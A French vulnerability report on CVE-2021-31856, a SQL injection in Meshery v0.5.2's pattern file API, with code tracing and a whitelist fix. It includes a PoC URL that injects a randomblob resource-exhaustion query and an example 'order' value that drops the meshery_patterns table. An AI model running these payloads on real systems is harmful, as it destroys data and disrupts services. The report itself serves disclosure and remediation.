
Rapport détaillé CVE-2021-31856 avec PoC et analyse de code pour une vulnérabilité d'injection SQL dans l'API de fichier de pattern de Meshery, permettant l'extraction de données non authentifiée.
| élément | détails | remarque |
|---|
| projet | https://github.com/layer5io/meshery | |
| date annoncée | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Version vulnérable | v0.5.2 | \ |
| Version corrigée | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Auteur | https://github.com/ssst0n3 |
La fonction GetMesheryPatterns() dans meshery/models/meshery_pattern_persister.go présente une vulnérabilité d'injection SQL via le paramètre order de la requête /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
Le paramètre order dans la fonction GetMesheryPatterns est une instance de chaîne de caractères. Il est directement ajouté à la requête lors de l'utilisation de Gorm, et l'instruction SQL est exécutée par Find().
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Si le paramètre order provient de l'entrée utilisateur sans aucun filtrage, il existe une vulnérabilité d'injection SQL.
En suivant le processus d'appel, on constate que le paramètre order provient directement de la requête.
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
Si l'on débogue, on constate que la requête est :
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
si on définit order=id;drop table meshery_patterns, l'instruction devient
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
et la table sera supprimée.
La chaîne complète des appels est :
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
Définir une liste blanche pour le paramètre order au lieu d'utiliser des paramètres provenant de l'entrée utilisateur sans aucun filtrage.
Vous pouvez trouver des références dans la documentation de Gorm : https://gorm.io/docs/security.html